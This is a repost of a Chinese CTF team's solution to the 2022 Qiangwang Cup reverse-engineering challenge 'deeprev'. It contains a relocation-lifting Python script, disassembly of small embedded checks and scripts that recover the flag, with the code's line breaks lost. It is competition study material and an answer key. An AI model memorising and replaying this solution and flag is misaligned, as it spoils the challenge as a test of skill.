您的位置:首页 >聚焦 >

当前简讯:第六届强网杯全国网络安全挑战赛WP

2022-08-03 05:38:40    来源:程序员客栈

本文来自“白帽子社区知识星球”

作者:WHT战队

白帽子社区知识星球加入星球,共同进步

WHT战队招新:


(相关资料图)

WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。

有半年以上CTF竞赛经验的。

包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。

加分项:有一年以上CTF竞赛经验的各方向CTFer。

有意向的师傅请扫描二维码联系我们

01Re

1.deeprev

与GoogleCTF 2022 eldar相同,用作者的脚本dump

# Author: hgarrereyn# Desc: Lifter solution for GoogleCTF 2022 eldarimport lieffrom collections import namedtuplefrom dataclasses import dataclassfrom typing import Anyfrom capstone import *from z3 import *import numpy as npmd = Cs(CS_ARCH_X86, CS_MODE_64)b = Nonetry:b = lief.ELF.parse("./deeprev")except:raise Exception("Must have the ./eldar binary in cwd")rela = [x for x in b.sections if x.name == ".rela.dyn"][0]dynsym = [x for x in b.sections if x.name == ".dynsym"][0]@dataclassclass Symbol(object):idx: intdef __repr__(self):return f"s{self.idx}"@dataclassclass Reloc(object):idx: intdef __repr__(self):return f"r{self.idx}"@dataclassclass Ref(object):val: Anydef __repr__(self):return f"&{self.val}"@dataclassclass SymAddr(object):sym: Symbolfield: strdef __repr__(self):return f"{self.sym}.{self.field}"@dataclassclass RelocAddr(object):reloc: Relocfield: strdef __repr__(self):return f"{self.reloc}.{self.field}"def vaddr(self):off = 0match self.field:case "r_address":off = 0case "r_info": off = 8case "r_addend": off = 16return (self.reloc.idx * 24) + off + rela.virtual_address@dataclassclass FlagAddr(object):idx: intdef __repr__(self):return f"flag[{self.idx}]"@dataclassclass OutAddr(object):idx: intdef __repr__(self):return f"out[{self.idx}]"@dataclassclass ArrAddr(object):idx: intdef __repr__(self):return f"arr[{self.idx}]"BaseAddr = namedtuple("baseaddr", [])FailAddr = namedtuple("fail", [])def format_addr(addr: int):if addr >= rela.virtual_address and addr < rela.virtual_address + rela.size:offset = addr - rela.virtual_addressr_offset = (offset // 24)r_rem = offset % 24if r_offset >= 3 and r_offset <= 88:arr_idx = (r_offset - 3) * 3 + (r_rem // 8)return ArrAddr(arr_idx)elif r_offset == 89:return OutAddr(r_rem)match r_rem:case 0: return RelocAddr(Reloc(r_offset), "r_address")case 8: return RelocAddr(Reloc(r_offset), "r_info")case 16: return RelocAddr(Reloc(r_offset), "r_addend")case _: return RelocAddr(Reloc(r_offset), r_rem)elif addr > dynsym.virtual_address and addr < dynsym.virtual_address + dynsym.size:offset = addr - dynsym.virtual_addressr_offset = (offset // 24)r_rem = offset % 24match r_rem:case 0: return SymAddr(Symbol(r_offset), "st_name")case 8: return Symbol(r_offset)case 16: return SymAddr(Symbol(r_offset), "st_size")case _: return SymAddr(Symbol(r_offset), r_rem)elif addr >= 0x404040 and addr < 0x404040+29:off = addr-0x404040return FlagAddr(off)elif addr == 0x804000:return BaseAddr()elif addr == 0x404060:return FailAddr()else:return addrdef to_sym(name):assert len(name) == 1return Symbol(ord(name[0]))Rel = namedtuple("REL", ["dst","val","ridx"])Copy = namedtuple("CPY", ["dst", "symbol", "ridx"])R64 = namedtuple("R64", ["dst","symbol","addend","ridx"])R32 = namedtuple("R32", ["dst","symbol","addend","ridx"])def parse(b) -> list:print("[*] Loading relocations...")relocs = list(b.relocations)print("[*] Parsing...")instructions = []for i in range(3, len(relocs)):r = relocs[i]match r.type:case 1: # R64instructions.append(R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))case 5: # CPYinstructions.append(Copy(format_addr(r.address), to_sym(r.symbol.name), i))case 8: # RELinstructions.append(Rel(format_addr(r.address), format_addr(r.addend), i))case 10: # R32instructions.append(R32(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))return instructionsMov = namedtuple("mov", ["dst", "src", "sz", "ridx"])Add = namedtuple("add", ["dst", "src", "addend", "ridx"])def lift_mov_add(instructions):idx = 0sizes = []curr = [8] * 8sizes.append(curr)for instr in instructions:c = list(curr)match instr:case Rel(SymAddr(Symbol(idx), "st_size"), val, ridx):c[idx] = valsizes.append(c)while idx < len(instructions):match instructions[idx]:case Rel(dst, val, ridx):instructions[idx] = Mov(dst, Ref(val), 8, ridx)case Copy(dst, sym, ridx):instructions[idx] = Mov(dst, sym, sizes[idx][sym.idx], ridx)case R64(dst, sym, add, ridx):instructions[idx] = Add(dst, sym, add, ridx)idx += 1return instructionsdef remove_sizes(instructions):# Sizes are now nopsidx = 0while idx < len(instructions):match instructions[idx]:case Mov(SymAddr(Symbol(s), "st_size"), _, _, _) if s != 3:instructions[idx:idx+1] = []idx += 1return instructionsdef lift_indirect(instructions):# [0349] :: mov r350.r_addend, s2# [0350] :: add s4, s4, 0# [0351] :: mov r350.r_addend, &0idx = 0while idx < len(instructions):match instructions[idx:idx+3]:case [Mov(RelocAddr(Reloc(rel_1), "r_addend"), Symbol(sidx_1), sz_1, ridx_1),Add(dst_2, sym_2, _, ridx_2),Mov(RelocAddr(Reloc(rel_3), "r_addend"), Ref(0), sz_3, _),] if ((rel_1 == ridx_2) and (rel_3 == ridx_2)):instructions[idx:idx+3] = [Add(dst_2, sym_2, Symbol(sidx_1), ridx_1)]idx += 1return instructionsBlock = namedtuple("block", ["arr", "flag", "ridx"])Output = namedtuple("output", ["out", "arr", "ridx"])def lift_block(instructions):# [0378] :: mov s2, &arr[1]# [0008] :: add s4, s4, s2# [0382] :: mov s2, &flag[1]# [0384] :: movb s7, s2# [0385] :: mov s2, &s7# [0008] :: add s4, s4, s2# [0390] :: r32 s4.st_value_p1, s1, 0# [0391] :: mov s2, &arr[1]# [0392] :: mov s6, s2# [0393] :: mov s2, &s4# [0008] :: add s5, s4, s2# [0397] :: mov s2, &s5# [0008] :: add s5, s5, s2# [0008] :: add s5, s5, s2# [0404] :: add s5, s5, arr[0]# [0405] :: mov arr[1], s5# [0406] :: mov r407.r_address, s2# [0407] :: add 0, s6, 0idx = 0while idx < len(instructions):match instructions[idx:idx+18]:case [Mov(_,arr,_,ridx),Add(_,_,_,_),Mov(_,flag,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),R32(_,_,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),Add(_,_,_,_),Add(_,_,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),]:instructions[idx:idx+18] = [Block(arr, flag, ridx)]idx += 1return instructionsReset = namedtuple("reset", ["ridx"])ShuffleBlock = namedtuple("shuffleblock", ["f1", "f2", "ridx"])def lift_reset(instructions):idx = 0while idx < len(instructions) - 256:good = Truefor i in range(256):op = instructions[idx+i]if type(op) == Mov:dst, src, _, _ = opif dst != ArrAddr(i) or src != Ref(i):good = Falsebreakelse:good = Falsebreakif good:instructions[idx:idx+256] = [Reset(instructions[idx].ridx)]idx += 1return instructionsdef lift_shuffle_block(instructions):idx = 0while idx < len(instructions) - 256:good = Truefor i in range(256):op = instructions[idx+i]if type(op) == Block:arr, flag, ridx = opif arr != Ref(ArrAddr(i)):good = Falsebreakelse:good = Falsebreakif good:instructions[idx:idx+256] = [ShuffleBlock(instructions[idx].flag, instructions[idx+1].flag, instructions[idx].ridx)]idx += 1return instructionsOutput = namedtuple("output", ["out", "arr", "ridx"])def lift_output(instructions):idx = 0while idx < len(instructions):match instructions[idx:idx+26]:case [Mov(_,arr,_,ridx),Add(_,_,_,_),R32(_,_,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),Add(_,_,_,_),Add(_,_,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),R32(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),Mov(_,_,_,_),Add(_,_,_,_),Add(_,_,_,_),Add(_,_,_,_),Mov(out,_,_,_),]:instructions[idx:idx+26] = [Output(out, arr, ridx)]idx += 1return instructionsMultAdd = namedtuple("multadd", ["out", "val", "k", "ridx"])def lift_multadd(instructions):idx = 0while idx < len(instructions):match instructions[idx:idx+3]:# block prefixcase [Mov(Symbol(2), out, _, ridx),Mov(Symbol(5), Symbol(2), _, _),Mov(Symbol(6), Ref(0), _, _),]:k = 0double = Falseptr = idx + 3good = Truewhile ptr < len(instructions):match instructions[ptr]:case Mov(Symbol(2), Ref(Symbol(6)), _, _):double = Truecase Mov(Symbol(2), Ref(Symbol(5)), _, _):double = Falsecase Add(Symbol(6), Symbol(6), Symbol(2), _):k = (k * 2) if double else (k + 1)case Add(Symbol(7), Symbol(7), Symbol(2), _):ptr += 1breakcase _:good = Falsebreakptr += 1if good:instructions[idx:ptr] = [MultAdd(Symbol(7), out, k, ridx)]idx += 1return instructionsTrunc = namedtuple("trunc", ["val", "k", "ridx"])def lift_truncate(instructions):idx = 0while idx < len(instructions):match instructions[idx:idx+2]:case [Mov(Symbol(2), Ref(SymAddr(Symbol(5), 11)), _, ridx),Mov(SymAddr(Symbol(7), 11), Symbol(2), 5, _)]:instructions[idx:idx+2] = [Trunc(Symbol(7), 0xffffff, ridx)]idx += 1return instructionsArraySlots = namedtuple("arr", ["values", "ridx"])def lift_array_slots(instructions):idx = 0while idx < len(instructions):match instructions[idx]:case Mov(BaseAddr(), Ref(0), _, ridx):ptr = idx+1while ptr < len(instructions):op = instructions[ptr]if type(op) != Mov or op.dst != BaseAddr():breakptr += 1start = idxend = ptrdata = []# Check for movs into array.vstart = RelocAddr(Reloc(ridx), "r_address").vaddr()offset = 0while end + offset < len(instructions) and offset < ((end - start) * 3):op = instructions[end + offset]if type(op) == Mov and type(op.dst) is RelocAddr and op.dst.vaddr() == vstart + (offset * 8):data.append(op.src.val)else:breakoffset += 1if len(data) > 0:data += [0] * (((end - start) * 3) - len(data))   instructions[idx:end+offset] = [ArraySlots(data, ridx)]idx += 1return instructionsShellcode = namedtuple("shellcode", ["dst", "code", "ridx"])def lift_shellcode(instructions):idx = 0while idx < len(instructions):match instructions[idx:idx+6]:case [ArraySlots(values, ridx),Mov(Symbol(3), Ref(RelocAddr(Reloc(rel2), "r_address")), _, _),Mov(SymAddr(Symbol(3), "st_name"), _, _, _),Add(dst, Symbol(3), _, _),Mov(Symbol(2), _, _, _),Mov(RelocAddr(Reloc(rel6), "r_address"), Symbol(2), _, _)] if (rel2 == ridx) and (rel6 == ridx):instructions[idx:idx+6] = [Shellcode(dst, b"".join([(x & 0xffffffffffffffff).to_bytes(8, "little") for x in values]), ridx)]idx += 1return instructionsAop = namedtuple("aop", ["dst", "op", "val", "k", "ridx"])def lift_aop(instructions):idx = 0while idx < len(instructions):match instructions[idx:idx+5]:case [Mov(Symbol(2), val, _, ridx),Mov(Symbol(5), Symbol(2), _, _),Shellcode(_, data, _),Mov(Symbol(2), Ref(Symbol(5)), _, _),Add(dst, dst2, Symbol(2), _)] if len(data) == 24 and (dst == dst2):op = next(md.disasm(data, 0))t = op.mnemonick = int(op.op_str.split(", ")[-1], 16)instructions[idx:idx+5] = [Aop(dst, t, val, k, ridx)]idx += 1return instructionsdef solve_end_flag(instructions):orig = [BitVec("f%d" % i, 8) for i in range(16,28)]flag = ([0] * 16) + [ZeroExt(24, x) for x in orig]s = Solver()for o in orig:s.add(UGT(o, 0x20))s.add(ULT(o, 0x7f))idx = 0while idx < len(instructions):match instructions[idx]:case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int:x = BitVecVal(v, 32)ptr = idx+1while ptr < len(instructions):match instructions[ptr]:case MultAdd(Symbol(7), Ref(FlagAddr(f)), k, _):x += (flag[f] * k)case Aop(Symbol(7), op, Ref(FlagAddr(f)), k, _):v = Nonematch op:case "and": v = flag[f] & kcase "xor": v = flag[f] ^ kcase "or": v = flag[f] | kcase "rol": v = ZeroExt(24, RotateLeft(Extract(7,0,flag[f]), k))case "ror": v = ZeroExt(24, RotateRight(Extract(7,0,flag[f]), k))case "shl": v = ZeroExt(24, Extract(7,0,flag[f]) << k)case "shr": v = flag[f] >> kcase _:raise Exception(f"unknown aop: {op}")x += vcase Trunc(Symbol(7), k, _):s.add(x == 0)case _:breakptr += 1idx += 1print("solving...")print(s.check())m = s.model()flag = bytes([m.eval(o).as_long() for o in orig])return flagdef solve_out_arr(instructions):X = []Y = []idx = 0while idx < len(instructions):match instructions[idx]:case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int:row = []ptr = idx+1while ptr < len(instructions):match instructions[ptr]:case MultAdd(Symbol(7), Ref(OutAddr(_)), k, _):row.append(k)case Trunc(Symbol(7), k, _):X.append(row)Y.append(-v)case _:breakptr += 1idx += 1a = np.array(X, dtype=np.uint32)b = np.array(Y, dtype=np.uint32)return [int(x) for x in np.linalg.solve(a,b)]def solve_start_flag(output):def sim(a,b):arr = list(range(256))z = 0for i in range(256):p = a if i % 2 == 0 else bz = (z + arr[i] + p) & 0xffarr[i], arr[z] = arr[z], arr[i]out = [0,0,0]z = 0for i in range(3):z = (z + arr[i]) & 0xffarr[i], arr[z] = arr[z], arr[i]out[i] = arr[(arr[i] + arr[z]) & 0xff]return outdef solve_chunk(k1,k2,k3):# Brute force chunk.for a in range(0x20, 0x7f):for b in range(0x20, 0x7f):out = sim(a,b)if abs(out[0] - k1) <= 1 and abs(out[1] - k2) <= 1 and abs(out[2] - k3) <= 1:return (a,b)return Nonef = []for i in range(0,len(output),3):f += list(solve_chunk(*output[i:i+3]))return bytes(f)def dump(instructions):for op in instructions:match op:case Mov(SymAddr(sym, "st_name"), Ref(val), 8, ridx) if type(val) is int:name = val & 0xffffffffinfo = (val >> 4) & 0xffother = (val >> 5) & 0xffshndx = (val >> 6) & 0xffffprint(f"[{ridx:04d}] :: setinfo {sym}, name=0x{name:x}, info=0x{info:x}, other=0x{other:x}, shndx=0x{shndx:x}")case Mov(BaseAddr(), Ref(0), _, ridx):print(f"[{ridx:04d}] :: [ARRAY SLOT]")case Mov(dst, src, 8, ridx):print(f"[{ridx:04d}] :: mov {dst}, {src}")case Mov(dst, src, sz, ridx):print(f"[{ridx:04d}] :: mov({sz}) {dst}, {src}")case Add(dst, src, add, ridx):print(f"[{ridx:04d}] :: add {dst}, {src}, {add}")case R32(dst, src, add, ridx):print(f"[{ridx:04d}] :: r32 {dst}, {src}, {add}")case Block(arr, flag, ridx):print(f"[{ridx:04d}] :: shuffle {arr}, {flag}")case Output(out, arr, ridx):print(f"[{ridx:04d}] :: output {out}, {arr}")case ShuffleBlock(f1, f2, ridx):print(f"[{ridx:04d}] :: shuffleblock {f1}, {f2}")case MultAdd(dst, val, k, ridx):print(f"[{ridx:04d}] :: madd {dst} += ({val} * {k})")case Aop(dst, op, val, k, ridx):print(f"[{ridx:04d}] :: aop {dst} += ({val} {op} {k})")case Reset(ridx):print(f"[{ridx:04d}] :: reset")case Trunc(val, k, ridx):print(f"[{ridx:04d}] :: trunc {val} &= 0x{k:x}")case ArraySlots(values, ridx):print(f"[{ridx:04d}] :: array [{", ".join([hex(x) for x in values])}]")case Shellcode(dst, code, ridx):print(f"[{ridx:04d}] :: exec {dst} <- {code.hex()}")print("-" * 20)for i in md.disasm(code, 0):if i.mnemonic == "ret":breakprint("    0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str.replace("0x8040e4", "s5").replace("0x8040cc", "s4")))print("-" * 20)case _:print(op)LIFTS = [lift_mov_add,remove_sizes,lift_indirect,lift_block,lift_reset,lift_shuffle_block,lift_output,lift_multadd,lift_truncate,lift_array_slots,lift_shellcode,lift_aop,]def lift(instructions):for lift_fn in LIFTS:print(f"[*] {lift_fn.__name__}...")instructions = lift_fn(instructions)return instructionsinstructions = parse(b)instructions = lift(instructions)dump(instructions)"""out = solve_out_arr(instructions)start = solve_start_flag(out)end = solve_end_flag(instructions)# CTF{H0p3_y0u_l1k3_3LF_m4g1c}print(start + end)"""

(re) PS E:\2022\7\qwb\deeprev\attachment> python.\dump.py[*] Loading relocations...[*] Parsing...[*] lift_mov_add...[*] remove_sizes...[*] lift_indirect...[*] lift_block...[*] lift_reset...[*] lift_shuffle_block...[*] lift_output...[*] lift_multadd...[*] lift_truncate...[*] lift_array_slots...等待。。。得到伪代码[*] Loading relocations...[*] Parsing...[*] lift_mov_add...[*] remove_sizes...[*] lift_indirect...[*] lift_block...[*] lift_reset...[*] lift_shuffle_block...[*] lift_output...[*] lift_multadd...[*] lift_truncate...[*] lift_array_slots...[*] lift_shellcode...[*] lift_aop...REL(dst=baseaddr(), val=0, ridx=3)REL(dst=baseaddr(), val=0, ridx=4)[0005] :: mov s2, &flag[0][0007] :: mov(1) s4, s2[0008] :: [ARRAY SLOT][0009] :: mov arr[15], &1585408084625667200[0010] :: mov arr[16], &195[0011] :: mov s3, &arr[15][0012] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0013] :: add arr[15], s3, 0[0014] :: mov s2, &r101002.r_address[0016] :: mov(24) arr[15], s2[0017] :: [ARRAY SLOT][0018] :: mov arr[42], &141015791240320[0019] :: mov arr[43], &195[0020] :: mov s3, &arr[42][0021] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0022] :: add arr[42], s3, 0[0023] :: mov arr[42], s2[0024] :: mov s2, &s4[0026] :: mov(1) arr[0], s2[0027] :: mov s2, &flag[1][0028] :: mov s4, s2[0029] :: [ARRAY SLOT][0030] :: mov arr[78], &1657465678663595136[0031] :: mov arr[79], &195[0032] :: mov s3, &arr[78][0033] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0034] :: add arr[78], s3, 0[0035] :: mov s2, &r101002.r_address[0037] :: mov(24) arr[78], s2[0038] :: [ARRAY SLOT][0039] :: mov arr[105], &72198609829168256[0040] :: mov arr[106], &195[0041] :: mov s3, &arr[105][0042] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0043] :: add arr[105], s3, 0[0044] :: mov arr[105], s2[0045] :: mov s2, &s4[0047] :: mov(1) arr[0], s2[0048] :: mov s2, &flag[2][0049] :: mov s4, s2[0050] :: [ARRAY SLOT][0051] :: mov arr[141], &1153062520398099584[0052] :: mov arr[142], &195[0053] :: mov s3, &arr[141][0054] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0055] :: add arr[141], s3, 0[0056] :: mov s2, &r101002.r_address[0058] :: mov(24) arr[141], s2[0059] :: [ARRAY SLOT][0060] :: mov arr[168], &144256203867096192[0061] :: mov arr[169], &195[0062] :: mov s3, &arr[168][0063] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0064] :: add arr[168], s3, 0[0065] :: mov arr[168], s2[0066] :: mov s2, &s4[0068] :: mov(1) arr[0], s2[0069] :: mov s2, &flag[3][0070] :: mov s4, s2[0071] :: [ARRAY SLOT][0072] :: mov arr[204], &1297177708473955456[0073] :: mov arr[205], &195[0074] :: mov s3, &arr[204][0075] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0076] :: add arr[204], s3, 0[0077] :: mov s2, &r101002.r_address[0079] :: mov(24) arr[204], s2[0080] :: [ARRAY SLOT][0081] :: mov arr[231], &216313797905024128[0082] :: mov arr[232], &195[0083] :: mov s3, &arr[231][0084] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0085] :: add arr[231], s3, 0[0086] :: mov arr[231], s2[0087] :: mov s2, &s4[0089] :: mov(1) arr[0], s2[0090] :: mov s2, &flag[4][0091] :: mov s4, s2[0092] :: exec r92.r_address <-803425cc40800010c3000000000000000000000000000000--------------------   0x0:     xor  byteptr [s4], 0x10--------------------[0101] :: array [0x4008040cc250480, 0xc3, 0x0][0104] :: mov s3, &r101.r_address[0105] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0106] :: add r101.r_address, s3, 0[0107] :: mov r101.r_address, s2[0108] :: mov s2, &s4[0110] :: mov(1) arr[0], s2[0111] :: mov s2, &flag[5][0112] :: mov s4, s2[0113] :: exec r113.r_address <-803425cc40800011c3000000000000000000000000000000--------------------   0x0:     xor  byteptr [s4], 0x11--------------------[0122] :: array [0x5008040cc250480, 0xc3, 0x0][0125] :: mov s3, &r122.r_address[0126] :: setinfo s3, name=0x1a, info=0x1,other=0x0, shndx=0x0[0127] :: add r122.r_address, s3, 0[0128] :: mov r122.r_address, s2[0129] :: mov s2, &s4[0131] :: mov(1) arr[0], s2flag[0][0009] :: mov arr[15], &1585408084625667200[0018] :: mov arr[42], &141015791240320flag[1][0030] :: mov arr[78], &1657465678663595136[0039] :: mov arr[105], &72198609829168256flag[2][0051] :: mov arr[141], &1153062520398099584[0060] :: mov arr[168], &144256203867096192flag[3][0072] :: mov arr[204], &1297177708473955456[0081] :: mov arr[231], &216313797905024128flag[4][0092] :: exec r92.r_address <-803425cc40800010c3000000000000000000000000000000-------------------- 0x0:    xor  byte ptr [s4], 0x10--------------------[0101] :: array [0x4008040cc250480, 0xc3, 0x0]flag[5][0113] :: exec r113.r_address <-803425cc40800011c3000000000000000000000000000000-------------------- 0x0:    xor  byte ptr [s4], 0x11--------------------[0122] :: array [0x5008040cc250480, 0xc3, 0x0]

分别转换成汇编得到

脚本

nums = [1585408084625667200,141015791240320,1657465678663595136,72198609829168256,1153062520398099584,144256203867096192,1297177708473955456,216313797905024128,0x4008040cc250480,0x5008040cc250480]for num in nums:shellcode = num.to_bytes(8,"little")print(shellcode)from capstone import *md = Cs(CS_ARCH_X86, CS_MODE_32)#初始化类,给两个参数(硬件架构和硬件模式)for i in md.disasm(shellcode,0x00):#disasm 反汇编这段HEX, 它的参数是shellcode和起始地址。print("0x%x:\t%s\t%s"%(i.address, i.mnemonic, i.op_str))#打印地址和操作数。print("\n")

结果

flag[0][0009] :: mov arr[15], &1585408084625667200b"\x804%\xcc@\x80\x00\x16"0x0:   xor     byte ptr[0x8040cc], 0x16[0018] :: mov arr[42], &141015791240320b"\x80\x04%\xcc@\x80\x00\x00"0x0:   add     byte ptr[0x8040cc], 0flag[1][0030] :: mov arr[78], &1657465678663595136b"\x804%\xcc@\x80\x00\x17"0x0:   xor     byte ptr[0x8040cc], 0x17[0039] :: mov arr[105], &72198609829168256b"\x80\x04%\xcc@\x80\x00\x01"0x0:   add     byte ptr[0x8040cc], 1flag[2][0051] :: mov arr[141], &1153062520398099584b"\x804%\xcc@\x80\x00\x10"0x0:   xor     byte ptr[0x8040cc], 0x10[0060] :: mov arr[168], &144256203867096192b"\x80\x04%\xcc@\x80\x00\x02"0x0:   add     byte ptr[0x8040cc], 2flag[3][0072] :: mov arr[204], &1297177708473955456b"\x804%\xcc@\x80\x00\x12"0x0:   xor     byte ptr[0x8040cc], 0x12[0081] :: mov arr[231], &216313797905024128b"\x80\x04%\xcc@\x80\x00\x03"0x0:   add     byte ptr[0x8040cc], 3flag[4][0092] :: exec r92.r_address <-803425cc40800010c3000000000000000000000000000000-------------------- 0x0:    xor  byte ptr [s4], 0x10--------------------[0101] :: array [0x4008040cc250480, 0xc3, 0x0]b"\x80\x04%\xcc@\x80\x00\x04"0x0:   add     byte ptr[0x8040cc], 4flag[5][0113] :: exec r113.r_address <-803425cc40800011c3000000000000000000000000000000-------------------- 0x0:    xor  byte ptr [s4], 0x11--------------------[0122] :: array [0x5008040cc250480, 0xc3, 0x0]b"\x80\x04%\xcc@\x80\x00\x05"0x0:   add     byte ptr[0x8040cc], 5

可以看出是对flag进行了异或加常数,然后通过xor检验,把所有异或的数和校验的数提取出来,异或得到flag前28个字符

xor_key =[0x16,0x17,0x10,0x12,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x24,0x2c,0x26,0x1e,0x1f,0x20,0x20,0x21,0x23,0x27,0x24,0x25,0x26,0x27,]c = [0x70,0x7c,0x73,0x78,0x6f,0x27,0x2a,0x2c,0x7f,0x35,0x2d,0x32,0x37,0x3b,0x22,0x59,0x53,0x8e,0x3d,0x2a,0x59,0x27,0x2d,0x29,0x34,0x2d,0x61,0x32,]flag = ""for i in range(len(c)):flag+=(chr(xor_key[i]^(c[i]-i)))print(flag)#flag{366c950370fec47e34581a0

根据后面的代码知道flag后面还有四个字符

根据提示sha256(flag)[0:16] = f860464d767610bb

可爆破得到

import hashlibimport itertools as ittemp = "flag{366c950370fec47e34581a0"for e init.permutations("1234567890abcdefghijklmnopqrstuvwxyz", 3):flag = temp + "".join(e)flag += "}"if hashlib.sha256(flag.encode()).hexdigest()[0:16]== "f860464d767610bb":print(flag)#flag{366c950370fec47e34581a0574}

对后面的代码继续分析

[1073] :: mov s6, &0[1074] :: mov s2, &flag[28][1075] :: mov s6, s2      s6 = flag[28][1076] :: mov s2, &4210781[1077] :: mov s7, s2      s7 = flag[29][1078] :: mov s8, &0      s8 = 0[1079] :: mov s2, &s8    s2 = 0[1080] :: add s8, s8, s2      s8 = s8 + s2 = 0[1083] :: mov s2, &s6    s2 = s6[1084] :: add s8, s8, s2      s8 = s8 + s2 = s6 = flag[28][1087] :: mov s9, &0      s9 = 0[1088] :: mov s2, &s9    s2 = 0[1089] :: add s9, s9, s2      s9 = s9 + s2 = 0[1092] :: mov s2, &s7    s2 = s7[1093] :: add s9, s9, s2      s9 = s9 + s2 = s7 = flag[29][1096] :: mov s2, &s9    s2 = s9 = flag[29][1097] :: add s10, s8, s2    s10 = s8 + s2 = flag[28] + flag[29][1100] :: exec r1100.r_address <-8034255c4180006cc3000000000000000000000000000000--------------------   0x0:     xor  byteptr [0x80415c], 0x6c--------------------[1109] :: mov s2, &s10[1111] :: add s5, s5, s2[1114] :: mov s6, &0[1115] :: mov s7, &0[1116] :: mov s8, &0[1117] :: mov s9, &0[1118] :: mov s10, &0[1119] :: mov s2, &flag[28]  s2 = flag[28][1120] :: mov s6, s2      s6 = s2 = flag[28][1121] :: mov s2, &4210781    s2 = flag[29][1122] :: mov s7, s2      s7 = s2 = flag[29][1123] :: mov s8, &0      s8 = 0[1124] :: mov s2, &s8    s2 = s8 =0[1125] :: add s8, s8, s2      s8 = s8 + s2 = 0[1128] :: mov s2, &s6    s2 = s6[1129] :: add s8, s8, s2      s8 = s8 + s2 = flag[28][1132] :: mov s2, &s8    s2 = s8 = flag[28][1133] :: add s8, s8, s2      s8 = s8 + s2 = flag[28] + flag[28][1136] :: mov s9, &0      s9 = 0[1137] :: mov s2, &s9    s2 = s9 = 0[1138] :: add s9, s9, s2      s9 = s9 + s2 = 0[1141] :: mov s2, &s7    s2 = s7 = flag[29][1142] :: add s9, s9, s2      s9 = s9 + s2 = flag[29][1145] :: mov s2, &s9    s2 = s9 = flag[29][1146] :: add s10, s8, s2    s10 = s8 + s2 = 2*flag[28] + flag[29][1149] :: exec r1149.r_address <-8034255c418000a1c3000000000000000000000000000000--------------------   0x0:     xor  byteptr [0x80415c], 0xa1--------------------[1158] :: mov s2, &s10    [1160] :: add s5, s5, s2    [1163] :: mov s6, &0      s6 = 0[1164] :: mov s7, &0      s7 = 0[1165] :: mov s8, &0      s8 = 0[1166] :: mov s9, &0      s9 = 0[1167] :: mov s10, &0    s10 = 0[1168] :: mov s2, &4210782    s2 = flag[30][1169] :: mov s6, s2      s6 = s2 = flag[30][1170] :: mov s2, &4210783    s2 = flag[31][1171] :: mov s7, s2      s7 = s2 = flag[31][1172] :: mov s8, &0      s8 = 0[1173] :: mov s2, &s8    s2 = s8 = 0[1174] :: add s8, s8, s2      s8 = s8 + s2 = 0 [1177] :: mov s2, &s6    s2 = s6 = flag[30][1178] :: add s8, s8, s2      s8 = s8 + s2 = flag[30][1181] :: mov s9, &0      s9 = 0[1182] :: mov s2, &s9    s2 = s9 = 0[1183] :: add s9, s9, s2      s9 = s9 + s2 = 0[1186] :: mov s2, &s7    s2 = s7 = flag[31][1187] :: add s9, s9, s2      s9 = s9 + s2 = flag[31][1190] :: mov s2, &s9    s2 = s9 = flag[31][1191] :: add s10, s8, s2    s10 = s8 + s2 = flag[30] + flag[31][1194] :: exec r1194.r_address <-8034255c418000b1c3000000000000000000000000000000--------------------   0x0:     xor  byteptr [0x80415c], 0xb1--------------------[1203] :: mov s2, &s10[1205] :: add s5, s5, s2[1208] :: mov s6, &0      s6 = 0[1209] :: mov s7, &0      s7 = 0[1210] :: mov s8, &0      s8 = 0[1211] :: mov s9, &0      s9 = 0[1212] :: mov s10, &0    s10 = 0[1213] :: mov s2, &4210782    s2 = flag[30][1214] :: mov s6, s2      s6 = s2 = flag[30][1215] :: mov s2, &4210783    s2 = flag[31][1216] :: mov s7, s2      s7 = s2 = flag[31][1217] :: mov s8, &0      s8 = 0[1218] :: mov s2, &s8    s2 = s8 = 0[1219] :: add s8, s8, s2      s8 = s8 + s2 = 0 [1222] :: mov s2, &s6    s2 = s6 = flag[30][1223] :: add s8, s8, s2      s8 = s8 + s2 = flag[30][1226] :: mov s2, &s8    s2 = s8 = flag[30][1227] :: add s8, s8, s2      s8 = s8 + s2 = 2*flag[30][1230] :: mov s9, &0      s9 = 0[1231] :: mov s2, &s9    s2 = s9 = 0[1232] :: add s9, s9, s2      s9 = s9 + s2 = 0[1235] :: mov s2, &s7    s2 = s7 = flag[31][1236] :: add s9, s9, s2      s9 = s9 + s2 = flag[31][1239] :: mov s2, &s9    s2 = s9 = flag[31][1240] :: add s10, s8, s2    s10 = s8 + s2 = 2*flag[30] + flag[31][1243] :: exec r1243.r_address <-8034255c418000e5c3000000000000000000000000000000--------------------   0x0:     xor  byteptr [0x80415c], 0xe5--------------------

得到四个等式

